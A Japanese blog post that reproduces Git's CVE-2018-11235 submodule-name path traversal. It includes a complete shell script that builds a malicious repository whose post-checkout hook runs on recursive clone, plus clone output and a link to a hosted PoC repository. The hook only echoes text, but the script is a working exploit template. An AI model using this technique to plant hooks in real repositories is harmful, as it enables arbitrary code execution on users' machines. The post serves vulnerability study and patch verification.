試運転ブログ

技術的なあれこれ

Gitの脆弱性(CVE-2018-11235)を雑に調べた

先日、Gitの脆弱性(CVE-2018-11235)が発表されました。

NVDのDescriptionには以下のように説明されています。

NVD - CVE-2018-11235

In Git before 2.13.7, 2.14.x before 2.14.4, 2.15.x before 2.15.2, 2.16.x before 2.16.4, and 2.17.x before 2.17.1, remote code execution can occur. With a crafted .gitmodules file, a malicious project can execute an arbitrary script on a machine that runs "git clone --recurse-submodules" because submodule "names" are obtained from this file, and then appended to $GIT_DIR/modules, leading to directory traversal with "../" in a name. Finally, post-checkout hooks from a submodule are executed, bypassing the intended design in which hooks are not obtained from a remote server.

細工された.gitmoduleのあるプロジェクトをgit clone --recurse-submodulesすると、攻撃者が用意した任意のスクリプトの実行につながるとのこと。サブモジュールの名前は、.gitmoduleから取得され、名前に../使うことでディレクトリトラバーサルをすることができ、攻撃者の用意したpost-checkoutのhookが実行されてしまうようです。

この脆弱性のGitの修正コミットは以下にあります。

github.com

Credit for finding this vulnerability and the proof of concept from which the test script was adapted goes to Etienne Stalmans.

コメントにもありますが、修正コミットのテストコードにPoCが含まれています。

テストコードのPoCを参考に自分の環境で脆弱性の再現を行いました。

git/t7415-submodule-names.sh at 0383bbb9015898cbc79abd7b64316484d7713b44 · git/git · GitHub

環境

実行環境とGitのバージョンとか。

$ uname -a
Darwin MacMini 17.5.0 Darwin Kernel Version 17.5.0: Fri Apr 13 19:32:32 PDT 2018; root:xnu-4570.51.2~1/RELEASE_X86_64 x86_64
$ sw_vers -productVersion
10.13.4
$ git --version
git version 2.14.3 (Apple Git-98)

脆弱性の有無の確認方法

submodule名に../が含まれる際に弾かれるかどうかで確認可能です。

脆弱性あり

$ git --version
git version 2.14.3 (Apple Git-98)
$ git submodule add --name ../../modules/evil https://otameshi61@bitbucket.org/otameshi61/cve-2018-11235.git evil
Cloning into '/Users/saso/tmp/bbb/fuga/test/fuga/evil'...
remote: Counting objects: 46, done.
remote: Compressing objects: 100% (33/33), done.
remote: Total 46 (delta 1), reused 0 (delta 0)
Unpacking objects: 100% (46/46), done.

脆弱性対応済み

$ git --version
git version 2.17.1
$ git submodule add --name ../../modules/evil https://otameshi61@bitbucket.org/otameshi61/cve-2018-11235.git evil
'../../modules/evil' is not a valid submodule name

もっと手軽に、これでエラーが出るかどうかでも確かめることができるそうです(エラーが出れば対策済み)。

git init test && \
  cd test && \
  git update-index --add --cacheinfo 120000,e69de29bb2d1d6434b8b29ae775ad8c2e48c5391,.gitmodules

Edward Thomson: Upgrading git for the May 2018 Security Release

悪意あるレポジトリの作成

悪意あるレポジトリは以下のようなshell scriptで作成可能です。

CVE-2018-11235.sh

#!/bin/sh

# 悪意あるsubmoduleを含んだレポジトリ用のディレクトリを作成する
mkdir evil_repo
cd evil_repo
git init

# ここで追加するのは別になんでも良い
git submodule add https://github.com/otms61/innocent.git evil

# 正常な.git/modules/evilから攻撃コードを置く用の./modules/evilを用意する
mkdir modules
cp -r .git/modules/evil modules

# hookにセットするスクリプトを用意する
echo '#!/bin/sh' > modules/evil/hooks/post-checkout
echo 'echo >&2 "RUNNING POST CHECKOUT"' >> modules/evil/hooks/post-checkout
chmod +x modules/evil/hooks/post-checkout

git add modules
git commit -am evil

# もとのPoCで設定されてたがよくわかっていない。。なくてもとりあえず動く。
git config -f .gitmodules submodule.evil.update checkout

# submoduleの名前をevilから ../../modules/evilに変更する
git config -f .gitmodules --rename-section submodule.evil submodule.../../modules/evil

# .git/moduleの下に何かないとcheckoutに失敗するので、普通のやつも用意してあげる
git submodule add https://github.com/otms61/innocent.git another-module
git add another-module
git commit -am another

git add .gitmodules
git commit -am .gitmodule

簡単にですがsubmoduleの設定とhookのスクリプトについて説明を補足します。

submodule名を../../modules/evilにする

雑にコメントを書きましたが、

git config -f .gitmodules --rename-section submodule.evil submodule.../../modules/evil

で、submodule 名をevilから../../modules/evilに変更しています。

git config [<file-option>] --rename-section old_name new_name

. が3連続で、ちょっとわかりにくいですが、nameの形式がsubmodule.<module名>のせいです。

.gitmoduleはこのようになっています。

$ cat evil_repo/.gitmodules
[submodule "../../modules/evil"]
    path = evil
    url = https://github.com/otms61/innocent.git
    update = checkout
[submodule "another-module"]
    path = another-module
    url = https://github.com/otms61/innocent.git

hookのスクリプトを用意する

hookのスクリプトを探すロジックを正確に確認はできていないのですが、以下のような感じだと予想しています。 hookスクリプトを探す場合、

evil_repo/.git/modules/${submodule_name}/hooks/post-checkout

に置かれたスクリプトを探してると思われますが、このsubmodule_nameを../../modules/evilとすることで、

evil_repo/.git/modules/../../modules/evil/hooks/post-checkout
# つまり以下のパス
evil_repo/modules/evil/hooks/post-checkout 

と、hookのスクリプトを.git配下から、レポジトリ上に置かれたスクリプトに向けることができます。この向き先に攻撃者がスクリプトを用意しておくことで、hookからスクリプトを実行することができます。

また、post-checkoutの内容はこのようになっています。

$ cat evil_repo/modules/evil/hooks/post-checkout
#!/bin/sh
echo >&2 "RUNNING POST CHECKOUT"

動作確認

./CVE-2018-11235.sh でローカルにevil_repoというレポジトリを作成し、これを--recurse-submodulesでcloneします。

$ ./CVE-2018-11235.sh
・・・
$ git clone --recurse-submodules evil_repo test
Cloning into 'test'...
done.
Submodule 'another-module' (https://github.com/otms61/innocent.git) registered for path 'another-module'
Submodule '../../modules/evil' (https://github.com/otms61/innocent.git) registered for path 'evil'
Cloning into '/private/tmp/test/another-module'...
remote: Counting objects: 3, done.
remote: Total 3 (delta 0), reused 3 (delta 0), pack-reused 0
Submodule path 'another-module': checked out '8d0ef81b89520c725065da10b4ee76568425daa5'
RUNNING POST CHECKOUT
Submodule path 'evil': checked out '8d0ef81b89520c725065da10b4ee76568425daa5'

終わりの方で、 RUNNING POST CHECKOUT と出力されていることがわかりますね!

GitHubは対策されてた。すごい!

GitHubに、上記で作成したコードをあげようとしたら弾かれてしまいました。GitHubすごい!

$ git remote add origin git@github.com:otms61/CVE-2018-11235.git
$ git push origin master
Counting objects: 47, done.
Delta compression using up to 4 threads.
Compressing objects: 100% (34/34), done.
Writing objects: 100% (47/47), 10.53 KiB | 1.50 MiB/s, done.
Total 47 (delta 1), reused 0 (delta 0)
fatal: The remote end hung up unexpectedly
fatal: The remote end hung up unexpectedly

他のところはあげられたので、試したいという方は以下でも試すことはできます。

otameshi61 / CVE-2018-11235 / source / — Bitbucket

echoするスクリプトを置いてるだけですが、実行する場合は自己責任でお願いします。

$ git clone --recurse-submodules https://otameshi61@bitbucket.org/otameshi61/cve-2018-11235.git 2>&1 | grep POST
RUNNING POST CHECKOUT

対策されたバージョンのgitだとこんな感じになります。スクリプトも動いてないことがわかります。

$ git --version
git version 2.17.1

$ git clone --recurse-submodules https://otameshi61@bitbucket.org/otameshi61/cve-2018-11235.git 2>&1
Cloning into 'cve-2018-11235'...
remote: Counting objects: 46, done.
remote: Compressing objects: 100% (33/33), done.
remote: Total 46 (delta 1), reused 0 (delta 0)
Unpacking objects: 100% (46/46), done.
warning: ignoring suspicious submodule name: ../../modules/evil
warning: ignoring suspicious submodule name: ../../modules/evil
warning: ignoring suspicious submodule name: ../../modules/evil
Submodule 'another-module' (https://github.com/otms61/innocent.git) registered for path 'another-module'
warning: ignoring suspicious submodule name: ../../modules/evil
warning: ignoring suspicious submodule name: ../../modules/evil
warning: ignoring suspicious submodule name: ../../modules/evil
Cloning into '/Users/saso/tmp/bbb/cve-2018-11235/another-module'...
remote: Counting objects: 3, done.
remote: Total 3 (delta 0), reused 3 (delta 0), pack-reused 0
warning: ignoring suspicious submodule name: ../../modules/evil
warning: ignoring suspicious submodule name: ../../modules/evil
warning: ignoring suspicious submodule name: ../../modules/evil
Submodule path 'another-module': checked out '8d0ef81b89520c725065da10b4ee76568425daa5'

感想

発見された方が以下のツイートをされていて、来週公開予定とのこと。楽しみですね。

kubernetesのGitRepo volume optionオプションで、node上のrootが取れるらしい。 www.youtube.com

今回の脆弱性は、redditが比較的盛り上がってるなぁとながめていました。 www.reddit.com

ちょっと前にあったサブモジュールの脆弱性みたいな感じでかなぁと思いつつ、ディレクトリトラバーサルからどうやって攻撃につなげるんだ?という疑問から調べていました。 サブモジュールの管理情報を.gitから外側に向けるのは鮮やかだなと感じました。

おしまい。